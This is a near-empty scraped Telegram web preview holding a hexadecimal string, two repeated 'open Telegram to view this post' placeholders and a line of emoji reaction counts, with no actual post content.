e41abc39f533e0d62991b7f0199b954ca76d415717126a3e6012e9711e689e47
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥16👍96🤨1👾1